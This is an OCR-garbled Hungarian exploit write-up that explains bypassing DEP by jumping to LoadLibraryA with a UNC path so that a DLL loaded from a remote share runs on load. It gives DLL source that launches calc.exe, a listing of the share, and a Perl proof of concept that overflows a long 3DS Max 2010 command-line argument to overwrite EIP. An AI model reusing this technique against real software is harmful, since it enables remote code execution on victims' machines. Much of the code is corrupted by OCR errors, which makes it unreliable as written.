A méltatlanul elfeledett API

A DEP kikeriilésére manapsag nagyon népszerld a ROP mddszer hasznalata. Rengeteg cikket
talalni VirtualProtect-et, HeapCreate-et, VirtualAlloc-ot, ésatdbbit haszndld varazslatokrél, de
ugy tlnik, mindenki megfeledkezik egy nagyon-nagyon hasznos Windows API-rél, a LoadLibrary-
rél.

Csupan egy paraméterre van sziiksége: a betoltendd modul eléréi utjat tartalmazo karakterlanc
cimére. Az a szép, hogy ez az elérési Ut lehet UNC utvonal is, tehat a DLL tavolrdl is betolthetd.
Masik jo6 dolog, hogy betoltéskor rogtdn lefut a modul belépési pontja (leggyakrabban DlIMain),
széval nem kell kiilon bibel6dniink a shellcodera ugrassal.

Osszegezve: lehet8ség van az exploit payloadjat akarmilyen, akdr magas szint( nyelven megirni
(nincs szivds a nem megengedett karakterekkel, kédoldssal, ilyesmikkel), tavolrdl betélteni és
futtatni, mindezt egyetlen API hivassal, ami pusztdn egy paramétert igényel. Ezen felll a
LoadLibrary-t majdnem minden exe importalja, igy viszonylag nagy ra az esély, hogy talalhaté ra
egy hivas egy nem ASLR tamogatdssal forditott modulban.

Mikor eszembe jutott a mddszer, rogtdon rakerestem, és taldltam is par doksit, amik emlitik ezt a
dolgot, de szerintem ez tobbet érdemel par sornal egy dian, ezért irtam egy ezt haszndld
exploitot, illetve ezt a doksit.

Van egy hatuliit6je a modszernek, mégpedig az, hogy a DLL-nek egy olyan megosztason kell
lennie, amit a célpont gép elér. Ennek ellenére szerintem ték jé dolog, hogy a payloadunkat
siman be tudjuk tolteni DLL-ként valahonnan a halézatrdl.

Hogy lassatok, hogy a médszer mikodik, mutatok egy tok Uj 3DSMax 2010 exploitot, ami ezt a
technikat haszndlja. A sérilékenység a Max-ban elég béna: egy elég hosszu parancssori
argumentummal lehet6ség van direktben feliilirni az EIP-et. Egy kis nehezités, hogy csak a
parancssor egy része tarolédik, igy elég kevés hely van a shellcodenak. Elsé prébalkozdsom az
volt, hogy egy first stage payload meghivta a GetCommandLine API-t, az letarolta a teljes
parancssort, ami tartalmazta a tényleges payloadot.

Ez m(ikodott, de ki szerettem volna kertilni a DEP-et. Elkezdtem gondolkodni, hogy hogy lenne a
legcélszeribb, és akkor jott az 6tlet, hogy hasznalhatnam a LoadLibrary-t.

Készitettem egy DLL-t, ami a DIIMain-jében lefuttatja az industry standard calc.exe-t. Itt a DLL
forrasa:



#tinclude <shellapi.h>
BOOL APIENTRY D11lMain( HMODULE hModule,
DWORD  ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
ShellExecute(®, @, L"calc.exe", @ ,0, SW_SHOWNORMAL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

Leforditottam a DLL-t, majd felmasoltam egy samba megosztasra
(//pamparam/shared/test.dll).

WINDOWS' system32'\.cmd.exe

C:\Documents and Sett1ng°\Rendszerga°da\ﬂszta1>d1r \\pamparam\nhaled
A meghajtdban (\\pamparam\nhared) 1évii kiltetneRK incs—cinnegjes
A kiitet sorozatszama: AZAB-E87F

Sspamparamivshared tartalma:

2011.872.18. 19:29 <DIR> =
19:29 <DIR> ==
B4:80 3dsmax.exe

. 21:05 3dsmax.idh
| 11:26 autorun.inf
14:53 boot
11:26 bhootngr
14:53 efi
14:52 en_windouws_7?_professional_x86_dvd_x15-65884.1is0
11:29 GPHMC
11:22 gpnc .ms i
16:089 kernel32.d11
B3:13 MNMath.d11l
15:87 MNMath.id@
15:87 MNMath.idl
15:87 MNMath.nam
13:41 MNMath.til
18:32 offsecsrv.exe
B87:47 Opera_11688_en_Setup.exe
11:26 setup.exe
14:53 2
28:23
2@11.86.85. 21:35 2 @ 128 Wrinifiaxinizer.exe
17 Fajl 2 547 12 B4 hajt
6 kinyutar 4 928 868 352 hijt szabad

C:~\Documents and Settings\RendszergazdasAsztal>_




OK, a payload a helyén, irjuk meg magat az exploitot! Mint korabban mar emlitettem, csupan

fel kell épiteni a stacket, és rdugrani a LoadLibraryre. Itt a kéd:

$path = "c:\\FUZZTARGETS\\3dsmax2010\\3dsmax.exe";

$d1llpath

"\\\\pamparam\\shared\\test.d11l";

$padding = "A" x (258 - length($path) - length($dllpath));

B R R
# Address of LoadlLibraryA function

$loadlibrary = "\x7B\x1D\x80\x7C";

HHHAHHFHHHH
# Padding - this is where LoadLibraryA would return

$fakeret = "XXXX";

HHHHH A
# The address of the UNC path on the stack

$dllpathptr = "\xAl\xfe\x12";

$argument = $dllpath . " " . $padding . $loadlibrary . $fakeret . $dllpathptr;

exec $path, $argument;

A kod futtatasa elinditja a 3DSMax-ot egy olyan parancssorral, ami betolti a DLL-linket a tavoli
megosztasrol, és lefuttatja a szérnylséges szamologépet ©

Kosz, hogy elolvastad! Ha barmilyen kérdésed, hozzafliznivaldd van, keress meg e-mailen!

Az eredeti, és a LoadLibrary-s exploitok kddja, a DLL forraskéddal egyutt, illetve ez a doksi
megtaldlhaté az alabbi cimen: http://sghctoma.extra.hu/downloads/Il/
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